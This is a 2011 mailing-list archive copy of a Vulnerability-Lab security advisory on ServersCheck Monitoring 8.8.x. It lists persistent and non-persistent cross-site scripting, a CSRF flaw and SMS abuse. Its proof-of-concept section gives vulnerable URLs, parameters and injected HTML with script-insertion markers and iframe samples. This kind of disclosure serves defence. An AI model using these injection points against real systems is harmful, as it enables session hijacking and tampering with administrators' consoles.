lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [<thread-prev] [day] [month] [year] [list]
Message-ID: <4E819D5B.6000605@vulnerability-lab.com>
Date: Tue, 27 Sep 2011 11:54:35 +0200
From: "research@...nerability-lab.com" <research@...nerability-lab.com>
To: full-disclosure@...ts.grok.org.uk
Subject: Re: ServersCheck Monitoring Software v8.8.x -
 Multiple Web Vulnerabilities

Hello,
after a vendor notification we fixed some content inside of the advisory
because of some mistakes.

Updates:
[+] Appliance is not affected only the software
[+] The verified bug versions are now included
[+] Text update
[+] Severity


Title:
======
ServersCheck Monitoring 8.8.10 - Multiple Web Vulnerabilities


Date:
=====
2011-09-27


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=93


VL-ID:
=====
93


Introduction:
=============
ServersCheck is a Belgian based and privately owned technology company founded in 2003.
It is most known in the Network Administrator community for its software program monitoring the availability and performance of 
servers and other networked devices. Next to this it also offers environmental sensors; providing monitoring from both the inside 
and the outside.

ServersCheck Monitoring ist, ein Werkzeug zum Überwachen, Melden und Warnen der Netzwerk- und Systemverfügbarkeit, 
das auf Windowsrechnern läuft. Zusätzlich zur Überwachung von normalen Netzwerkgeräten kann dieses Programm auch die 
Umgebung der Geräte auf Temperatur, Luftfeuchtigkeit, Überschwemmung, überwachen. ServersCheck Software läuft als 
lokaler Dienst und wird über ein Browserbasierendes Interface administriert. Zusätzliche Funktionen enthalten Warnmeldungen 
und stellen Statistiken von langlaufenden Aufzeichnungen grafisch dar.

Appliance:
Die ServersCheck Monitoring Appliance ist eine komplette Browser und SMS basierte Lösung um Serverräume zu überwachen. 
Dieses kleine, leistungsfähige, kostengünstige Gerät kann bis zu 250 Einheiten beaufsichtigen.
Es ist klein: Es paßt auf Ihre Handfläche.


(Copy of the Vendor Homepage: http://www.serverscheck.com/	& http://www.serverscheck.de/monitoring-appliance/)


Abstract:
=========
Vulnerability-Lab Team discovered multiple Vulnerabilities on ServersCheck Monitoring Software v8.8.10 & v8.8.6.


Report-Timeline:
================
2011-09-27:	Public or Non-Public Disclosure


Status:
========
Published


Affected Products:
==================
ServersCheck Monitoring Software v8.8.10 & v8.8.6


Exploitation-Technique:
=======================
Remote


Severity:
=========
Medium(+)


Details:
========
1.1
Multiple persistent input validation vulnerabilities are detected on application-side of Serverscheck.
The remote vulnerability allows local low privileged user accounts or remote attackers to manipulate specific sections, areas or 
content requests via Java or HTML script code injection.

Vulnerable Module(s):  (Persistent)
					[*] New Team / Team List
					[*] New User / User List
					[*] Windows Account Edits / Windowsbenutzer Berechtigungsnachweis 
					[*] Rules Size Add
					[*] MSN Accounts Rules & copied Functions
					[*] ServersCheck Protokolldateibetrachter: scan.txt 
					[*] SNMP Trapkonfiguration
					[*] Axis Camera - Add & Configuration
					[*] Neue Überwachungsregel / Observation Rules
					[*] User Diagram / Add
					[*] ODBC Protocol
					[*] SMS TEST SCRIPT

Picture(s):
					../2.png
					../3.png


1.2
Multiple non-persistent input validation vulnerabilities are detected on application-side of Serverscheck.
The vulnerability allows an attacker to hijack customer/admin sessions.
Successful exploitation requires high user inter action.

Vulnerable Module(s): 
					[*] Downtime
					[*] Linenumber
					[*] ID
					[*] Checks2def (Footer/Header)
					[*] Timeline
					[*] Definere Einstellungen zur Dienstanmeldung
					[*] Device Graphs
					[*] View Graphs
					[*] Rules History

Picture(s):
			../1.png


1.3
A cross site request forgery vulnerability is detected on the Dienstanmeldung formular. 
Attackers can force a logon via cross site request forgery attack.

Vulnerable Module(s): 
					[*] Einstellungen zur Dienstanmeldung

1.4
Attackers can create own masks to send mass notifcations on a vendor phone number without any restrictions by the application itself.

Vulnerable Module(s): 
					[*] SMS- & Pager (http://localhost:1272/smstest.html?  &2 :)


Proof of Concept:
=================
The different vulnerabilities can be exploited by local low privileged user accounts, software users or remote attackers. 
For demonstration or reproduce ...


1.1

Code Review: 	Input Validation Vulnerabilities (Persistent)

http://localhost:1272/userslist.html?

<table border="0" cellpadding="0" cellspacing="0" class="tabdata" width='98%'>
<tr bgcolor="#ff9900">
<td width=90%><b>Benutzername</b></td>
<td align=center><b>Zugriffsrechte</b></td>
<td align=center><b>Löschen</b></td></tr>
<tr bgcolor='#ffef95'><td style='padding-left:3px;padding-right:3px;'><a href='/usersettingsedit.html?username=
>"<INSERT SCRIPTCODE HERE!>&'>>"<INSERT OWN PERSISTENT SCRIPTCODE HERE!!!></a></td>
<td align=center><a href="/usersettingsedit.html?username=>"<INSERT OWN PERSISTENT SCRIPTCODE HERE!!!>">
<img src="/output/images/security.gif" border=0></a></td>
<td align=center><a href='' onclick="return deleteit('0');"><img src='/output/images/delete.gif?' border=0></a></td>
</tr><tr ><td style='padding-left:3px;padding-right:3px;'><a href='/usersettingsedit.html
?username=>"<iframe src=http://test.de>&'>>"<INSERT OWN PERSISTENT SCRIPTCODE HERE!!!></a></td>
<td align=center><a href="/usersettingsedit.html?username=>"<INSERT OWN PERSISTENT SCRIPTCODE HERE!!!>">
<img src="/output/images/security.gif" border=0></a></td>
<td align=center><a href='' onclick="return deleteit('1');"><img src='/output/images/delete.gif?' border=0></a></td>
</tr></table><br><form action=usersadd.html method=post><td><input type=hidden name=add value=yes>
<input type=submit value="NEUEN BENUTZER HINZUFüGEN" ></form>


http://localhost:1272/downtime.html

<body bgcolor="white" leftmargin=0 topmargin=0 rightmargin=0 marginwidth=0>
<div style='padding-left:5px;padding-top:5px;'><font color=black style="font-size: 16px;"><strong>
Downtime Bericht >"<INSERT OWN PERSISTENT SCRIPTCODE HERE!!!> (1171011122)
</strong></font>
<hr align="left" width="97%" size="1" color="#ff9900" noshade style="padding-top:0px; filter:progid:DXImageTransform.Microsoft.
Gradient(startColorStr='#ffcc00', endColorStr='white', gradientType='1')">
<br><div id="overDiv" style="position:absolute; visibility:hidden; z-index:1000;"></div>


http://localhost:1272/windowsaccountslist.html

<table border="0" cellpadding="0" cellspacing="0" class="tabdata">
<tr bgcolor="#ff9900">
<td><b>Benutzername</b></td>
<td align=center><b>Löschen</b></td>
</tr>
<tr bgcolor='#ffef95'><td style='padding-left:3px;padding-right:3px;'><a href='/windowsaccountsedit.html?id=
1269018355&'>>"<INSERT OWN PERSISTENT SCRIPTCODE HERE!!!></a></td>
<td align=center><a href='' onclick="return deleteit('1269018355');"><img src='/output/images/delete.gif?' border=0></a></td>
</tr></table><br>
<form action=windowsaccountsedit.html method=post><td><input type=hidden name=add value=yes>
<input type=submit value="NEUEN BENUTZER HINZUFüGEN" ></form>


http://localhost:1272/msnsettings.html

<div id="overDiv" style="position:absolute; visibility:hidden; z-index:1000;"></div>
<script langauge="JavaScript" src="/output/js/overlib.js?"></script>
<div style='padding-left:5px;padding-top:5px;'><font color=black style="font-size: 16px;"><strong>
Konfiguriere MSN Warnung
</strong></font>
<hr align="left" width="97%" size="1" color="#ff9900" noshade style="padding-top:0px; filter:progid:DXImageTransform.Microsoft.Gradient
(startColorStr='#ffcc00', endColorStr='white', gradientType='1')">
<br>Sie müssen ein MSN Konto festlegen, von dem das MSN basierten Warnungen geschickt werden.<br>
<script language="JavaScript">
 alert('Einstellungen gespeichert');
</script><div id='stylized' class='settingsform'>
<form method=post action=msnsettings.html name=msn>
<input type=hidden name=setting value='MSN'>
<label>MSN Konto Name</label><input type=text name=account size=30 value=">"<INSERT OWN PERSISTENT SCRIPTCODE HERE!!!>"><br>
<label>MSN Konto Passwort</label><input type=password name=password size=10 value=">"<INSERT OWN PERSISTENT SCRIPTCODE HERE!!!>"<br>
<br><br><input type=submit class='buttonok' value="EINSTELLUNGEN SPEICHERN" ></form></div>
<br><br></table><br><br> </td></tr></table>


http://localhost:1272/enterprisesettings2.html

<form method=post action=enterprisesettings2.html>
<input type=hidden name=setting value='SNMPTRAP'>
<input type=hidden name=stop value=''>
<label>IP, an die die Traps gesendet werden</label><input type=text name=newsetting0 size=30 value="127.0.0.1" >
 <a onmouseover="return overlib('Geben Sie eine IP Adresse oder einen Domänennamen ein, an welche die Traps gesendet
 werden', LEFT);" onmouseout="return nd();"><img src="/output/images/info.gif?" border=0 alt='Info'></a><br>
<label>Port</label><input type=text name=newsetting1 size=30 value=">"<INSERT OWN PERSISTENT SCRIPTCODE HERE!!!><br>
<label>Der Community String.</label><input type=text name=newsetting2 size=30 value="" ><br>
<br><br><input type=hidden value="127.0.0.1<X>>"<INSERT OWN PERSISTENT SCRIPTCODE HERE!!!>" name=previoussetting><input type=hidden value="" 
name=check><input type=submit class='buttonok' value="EINSTELLUNGEN SPEICHERN" >  <input type=button 
value="SENDUNG VON SNMP TRAPS BEENDEN" class='buttonnok' Onclick="this.form.stop.value=1; this.form.submit();"></form></div>
<br><br></table><br><br> </td></tr></table>


http://localhost:1272/settings.html?setting=LOGGING&

<label>Datenbank Vorlagen</label><select name=odbctemplate onchange="javascript:changetemplate();">
<option value="">Wähle eine Datenbank Vorlage</option>
<option value="Driver={Oracle ODBC Driver};Dbq=myDBName;Uid=myUsername;Pwd=myPassword">Oracle ODBC Driver</option>
<option value="Driver={Microsoft ODBC for Oracle};Server=OracleServer.world;Uid=myUsername;Pwd=myPassword">Microsoft Oracle ODBC Driver</option>
<option value="Driver={INFORMIX 3.30 32 BIT};Host=hostname;Server=myserver;Service=service-name;Protocol=olsoctcp;Database=mydb;UID=username;PWD=myPwd 
">Informix 3.30 ODBC Driver</option>
<option value="Driver={Pervasive ODBC Client Interface};ServerName=srvname;dbq=">Pervasive ODBC Driver</option>
<option value="Driver={SQL Server}; Server=(local); Database=myDBName; UID=sa; PWD=;">MS SQL ODBC Driver</option>
<option value="Driver={SQL Server Native Client 10.0}; Server=enter_IP_here; Database=enter_db_name_here; UID=enter_account_name_here; 
PWD=enter_password_here;">MS SQL 2008</option>
<option value="Driver={Microsoft Access Driver (*.mdb)}; DBQ=C:myDBName.mdb">MS Access ODBC Driver</option>
<option value="Driver={Microsoft Excel Driver (*.xls)};DBQ=physical path to .xls file; DriverID=278;">MS Excel ODBC Driver</option>
<option value="Driver={Microsoft Text Driver (*.txt;*.csv)};DefaultDir=physical path to .txt file;">Text ODBC Driver</option>
<option value="DRIVER={MySQL ODBC 3.51 Driver};SERVER=;DATABASE=;USER=;Password=">mySQL ODBC 3.51</option>
</select><br><label>ODBC Verbindungsstring</label><input type=text name=newsetting0 size=50 value=">"<INSERT SCRIPTCODE HERE!>" ><br><br>
<label>Speichere Werte in der Datenbank</label><input type=checkbox name=newsetting1 value="true" > Ja<br><br><br>
<input type=hidden value=">"<INSERT OWN PERSISTENT SCRIPTCODE HERE!!!><X><X><X><X>" name=previoussetting><input 
type=hidden value="ODBC" name=check>
<input type=submit value="EINSTELLUNGEN SPEICHERN" class='buttonok'>  
<input type=button class='buttonnok' value="DATABANKERFASSUNG BEENDEN" Onclick="this.form.stop.value=1; this.form.submit();"></form>
</div><br><br></table><br><br> </td></tr></table>

<label>ODBC Verbindungsstring</label><input type=text name=newsetting0 size=50 value=">"<iframe src=http://vulnerability-lab.com width=600 height=600>" 
><br><br><label>Speichere Werte in der Datenbank</label><input type=checkbox name=newsetting1 value="true" > Ja<br><br><br>
<input type=hidden value=">"<INSERT OWN PERSISTENT SCRIPTCODE HERE!!!><X><X><X><X>" name=previoussetting><input type=hidden value="ODBC" name=check>
<input type=submit value="EINSTELLUNGEN SPEICHERN" class='buttonok'>  
<input type=button class='buttonnok' value="DATABANKERFASSUNG BEENDEN" Onclick="this.form.stop.value=1; this.form.submit();"></form>
</div>



References:
http://localhost:1272/userslist.html?
http://localhost:1272/teamslist.html?
http://localhost:1272/windowsaccountsedit.html
http://localhost:1272/bulkedit.html?
http://localhost:1272/msnsettings.html
http://localhost:1272/enterprisesettings2.html
http://localhost:1272/settings.html?setting=LOGGING&





1.2
Code Review:  	Input Validation Vulnerabilities (Non Persistent)

http://localhost:1272/checks2def.html

<form action=checks3other.html method=post name=checksdef onSubmit='return checkrequired(this)'>
<input type=hidden name=linenumber value=">"<NON-PERSITENT SCRIPTCODE HERE!>"><input type=hidden name=type value="">
<input type=hidden name=addcheck value=""><input type=hidden name=editsettings value="1">
<input type=hidden name=uidrule value="1171011122">
<input type=hidden name=id value="1171011122">
<input type=hidden name=required_label value="1171011122">
<input type=hidden name=devicegraphs value=""><tr>
<td>Überwachungregel Bezeichnung</td><td><input type=text size=35 name=namevisible value="WINDOWSHEALTH" style='width:250px;'></td><td>
</td></tr><tr><td>Geräte-Name</td><td>


http://localhost:1272/check2alerts.html

<form method=post action=checks2alerts.html name=alerts target="main"><td>  <td><input type=hidden value="" 
name=linenumber><input type=hidden value="" name=check> <input type=button value='FEHLER MELDUNGEN'  alt="/checks2alerts.html?
linenumber=&check=&type=down&KeepThis=true&TB_iframe=true&height=400&width=850"  title='Bearbeite Alarme für den FEHLER 
– Status' class='thickbox buttonalertsdown'></td></form>
<form method=post action="" name=alerts target="main" ><td>  </td><td><input class='buttonnok' type=submit  value="
REGEL LöSCHEN" onclick="return deleteit('>"<NON-PERSITENT SCRIPTCODE HERE!','');" onmouseover="return overlib('Durch  klicken auf dieses Icon können 
Sie die Überwachungsregel löschen.  Diese Operation kann nicht rückgängig gemacht werden.', LEFT);" onmouseout="return nd();"></td></form>
</tr></table></div><br><br> 


http://localhost:1272/viewalerts.html

<div style='padding-left:5px;padding-top:5px;'><font color=black style="font-size: 16px;"><strong>
Regel Historie >"<NON-PERSITENT SCRIPTCODE HERE!> (<a href="/viewfile.html?file=\checkslogs\1171011122.log">1171011122</a>)
</strong></font><hr align="left" width="97%" size="1" color="#ff9900" noshade style="padding-top:0px; filter:
progid:DXImageTransform.Microsoft.Gradient(startColorStr='#ffcc00', endColorStr='white', gradientType='1')">
<br>


http://localhost:1272/downtime.html

<body bgcolor="white" leftmargin=0 topmargin=0 rightmargin=0 marginwidth=0>
<div style='padding-left:5px;padding-top:5px;'><font color=black style="font-size: 16px;"><strong>
Downtime Bericht >"<NON-PERSITENT SCRIPTCODE HERE!> (1171011122)
</strong></font>
<hr align="left" width="97%" size="1" color="#ff9900" noshade style="padding-top:0px; filter:progid:DXImageTransform.Microsoft.
Gradient(startColorStr='#ffcc00', endColorStr='white', gradientType='1')">
<br><div id="overDiv" style="position:absolute; visibility:hidden; z-index:1000;"></div>


Non Persistent References:
http://localhost:1272/checks2def.html?id=
http://localhost:1272/checks2def.html?id=1171011122&linenumber=6&check=
http://localhost:1272/checks2def.html?id=1171011122&linenumber=
http://localhost:1272/downtime.html?label=
http://localhost:1272/downtime.html?label=1171011122&keyz=1171011122WINDOWSHEALTH&labelvisible=
http://localhost:1272/timeline/timeline.html?xml=
http://localhost:1272/devicegraphs.html?device=
http://localhost:1272/viewgraphs.html?label=
http://localhost:1272/viewalerts.html?label=1171011122&labelvisible=



1.3
Code Review:  	Cross Site Request Forgery (Force|Non Persistent)

<body bgcolor="white" leftmargin=0 topmargin=0 rightmargin=0 marginwidth=0>
<div style="padding-left:5px;padding-right:5px;padding-top:10px;padding-bottom:10px;width:90%">
<img src="/output/images/generalsettings.jpg" border="0" align="left">
<div style='padding-left:5px;padding-top:5px;'><font color=black style="font-size: 16px;"><strong>
Definere Einstellungen zur Dienstanmeldung.
</strong></font>
<hr align="left" width="97%" size="1" color="#ff9900" noshade style="padding-top:0px; filter:progid:DXImageTransform.Microsoft.Gradient
(startColorStr='#ffcc00', endColorStr='white', gradientType='1')"> <br>
ServersCheck läuft als ein Dienst auf diesem Computer. Standardmäßig laufen alle Dienste von Windows unter dem lokalen Systemkonto.  
Ein Dienst hat Zugang auf die Maschine, wo er gerade läuft, aber es ist ihm ein Remotezugriff  andere Computer untersagt. Für Windows 
basierende Checks (Plattenspeicherplatz, Speicher, CPU...), muss der ServersCheck Monitoring-Dienst unter einem Windows Admin-Konto laufen.<br><br>
Setze hier die Domäne oder den System-Admin Benutzernamen mit Passwort.  Zum Auslassen dieser Option bitte leer lassen.<br><br>
<form action=popup_service2.html method=post name=service setting><table cellpadding=5><tr><td>
Administrator Benutzername</td><td align=right>
<input type=text size=20 name=user></td></tr><tr><td>
Administrator Passwort</td><td align=right>
<input type=password size=20 name=pass></td></tr></table>
<br><br><input type=submit class='buttonok' value=">> AKTUALISIERUNG" >  <input type=button class='buttonnok' 
value="SKIP" Onclick="window.location='/popup1.html';">
</form></div></div><br><br>




http://localhost:1272/viewlogfile2.html?file=scan.txt&

<body bgcolor="white" leftmargin=0 topmargin=0 rightmargin=0 marginwidth=0>
<div style='padding-left:5px;padding-top:5px;'><font color=black style="font-size: 16px;"><strong>
ServersCheck Protokolldateibetrachter: scan.txt
</strong></font>
<hr align="left" width="97%" size="1" color="#ff9900" noshade style="padding-top:0px; 
filter:progid:DXImageTransform.Microsoft.Gradient(startColorStr='#ffcc00', endColorStr='white', gradientType='1')"><br>
<a href="/emptyfile.html?file=logging\scan.txt&">Leere Datei</a>
  <a href="/emptyfile.html?file=logging\scan.txt&delete=true&">Löschen Protokolldatei</a>
<hr noshade width=100%><ul><font color=black>
# Fri Mar 19 17:37:52 2010 Scanning ><iframe src=http://vulnerability-lab.com width=600 height=600>..:  Ping Failed
<br></font></ul></div><br><br> </BODY></HTML>


or ...


<HTML>
<HEAD>
<TITLE>ServersCheck 21 Day Evaluation Edition  - version 8.0.8</TITLE>
<META http-equiv=content-type content="text/html">
<LINK HREF="/output/css/serverscheck.css" rel="stylesheet" type="text/css"> 
<LINK HREF="/output/css/thickbox.css" rel="stylesheet" type="text/css" media="screen" />
<script type="text/javascript" src="/output/js/jquery.js"></script>
<script type="text/javascript" src="/output/js/thickbox.js"></script>
<META HTTP-EQUIV="Pragma" CONTENT="no-cache">
</HEAD><!-- DE -->
<body bgcolor="white" leftmargin=0 topmargin=0 rightmargin=0 marginwidth=0>
<div style='padding-left:5px;padding-top:5px;'><font color=black style="font-size: 16px;"><strong>
ServersCheck Protokolldateien</strong></font>
<hr align="left" width="97%" size="1" color="#ff9900" noshade style="padding-top:0px; filter:progid:DXImageTransform.Microsoft.
Gradient(startColorStr='#ffcc00', endColorStr='white', gradientType='1')"><br>
Um die Protokolldatei anzusehen, klicken Sie auf den Hyperlink, um sie zu öffnen.<br><ul>
<li><a href="/viewlogfile2.html?file=graphs-errors.log&">graphs-errors.log</a></li>
<li><a href="/viewlogfile2.html?file=monitoring_manager_2010-3-19.log&">monitoring_manager_2010-3-19.log</a></li>
<li><a href="/viewlogfile2.html?file=statuschange_2010-3-19.log&">statuschange_2010-3-19.log</a></li>
<li><a href="/viewlogfile2.html?file=watcher.log&">watcher.log</a></li>
</ul></div><br><br> </BODY></HTML>


Risk:
=====
1.1 - The security risk of  the persistent vulnerabilities are estimated as medium(+).
1.2 - The security risk of the non-persistent vulnerabilities are estimated as low(+).
1.3 - The security risk of the cross site request forgery attack is estimated as low(+).
1.4 - The security risk of the sms misconfiguration/bug is estimated as low(+).


Credits:
========
Vulnerability Research Laboratory - Benjamin Kunz Mejri (Rem0ve)


Disclaimer:
===========
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some 
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
may not apply. Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability-
Lab. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of 
other media, are reserved by Vulnerability-Lab or its suppliers.

    						Copyright © 2011|Vulnerability-Lab



-- 
Website: www.vulnerability-lab.com ; vuln-lab.com or vuln-db.com
Contact: admin@...nerability-lab.com or support@...nerability-lab.com


_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ